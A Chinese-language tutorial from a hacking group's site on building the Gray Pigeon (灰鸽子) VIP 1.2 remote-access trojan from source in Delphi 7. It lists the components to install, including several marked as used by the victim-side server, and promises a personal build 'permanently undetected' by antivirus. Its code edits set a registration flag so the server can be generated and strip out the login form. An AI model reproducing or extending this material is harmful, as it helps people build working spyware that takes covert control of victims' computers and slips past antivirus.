软件说明：
南域剑盟。www.98exe.com       上兴  QQ：51992

网上下载了灰鸽子 VIP1.2源程序 

默认按装Delphi7.0后最少要安装上十个控件才能完全编释，

有的学员可能头都痛了，一大堆控件  其实问题不太

看这动画就明了，改一下还成了个人版 终身免杀，爽吧。。。。。。

AnimationEffect.v2.2  动画窗口控件

DynamicSkinForm 5.90  皮肤控件（源码）。。。先装这个吧，好了

HEXEDIT  二进程编辑   这个这样：          

HotKeySpy 1.01 热键   

ics 最新版  网络控件

msn_popup   提示控件

Rx Library  灰鸽子里用了 Gif 动画

－－－－－－－－－－这几个都是服务端用的－－－－－－－－－－－－－－－－－－－－－
videocap6  视频控件   

MYNMUDP.pas  UDP控件（修正无法关机的问题）

还有一个SysTray

还要注意要装FastNet， FastNet是以前Delphi6。0带的，Delphi7。0没有  你可到网上下载

复制到Delphi7里

有的乱七八糟的控件干脆不装，删了它，  如Gif 动画  提示控件  1.01 热键  动画窗口控件

开始。。。。。 装控件不就二个地方....

看住。。。。。。。。。。。。  点Lnsall  
也是点Lnsall

这个这样：总之是有dpk的就打开点Lnsall就行了  PAS的就在Comppnent 下INSTALL Comppnent对话框下装

基本装完，编释看。。。还不行，是皮肤控件还要这样：

还不行，网络控件还要这样：错了，应是这个 FastNet

＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
按F8 

在这里加上  HgzVip.NoisReg:=True;  这样全局就注册了  已可生成服务端

除去LOGIN.PAS这个用户登入框 ：

代码  Hgzvip－onShow事件处理处  改成：  就不用到LOGIN.PAS这个用户登入框了

procedure THgzVip.FormShow(Sender: TObject)
begin
  if Tag = 0 then
   begin
    Tag := 1;
   try
    IdTCPServer1.Active := False;
    IdTCPServer1.Bindings.Clear;
    IdTCPServer1.DefaultPort := AutoSxport;
    IdTCPServer1.Active := True;
  except                 //打开本地XXX端口失败！你不能使用自动上线功能!
     AddLineStr(Translate('String1','打开本地端口失败！请换另一端口!'), 2, False);
  end;
  end;

  try
    //PageControl1.ActivePage := TabSheet1;

    TreeView1.FullCollapse; //折叠
    //Gauge1.Width := TreeView1.Width;
  except
  end;
  end;

＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝

还要注意，如果要改图标或名称  生成服务端上不了线    可打开ConfigServerUnit.PAS

把一些无用的改一下

if Not HgzVip.NoisReg then
   begin
    // Exit;
   end;

最后最好编释后再运行，不然又象我录像最后卡死了。

基本就可以了，下一步你可一个一个功能来研究了，功能与

RemoteXP （网络尖兵）源代码、Way2.4远程控制代码有相似之处，

只不过RemoteXP、Way2.4源代码是主动连接的。

RemoteXP（网络尖兵）源代码在我站和藏经阁都有下载

欢迎加入南域剑盟一起研究  WWW.98exe.com QQ:51992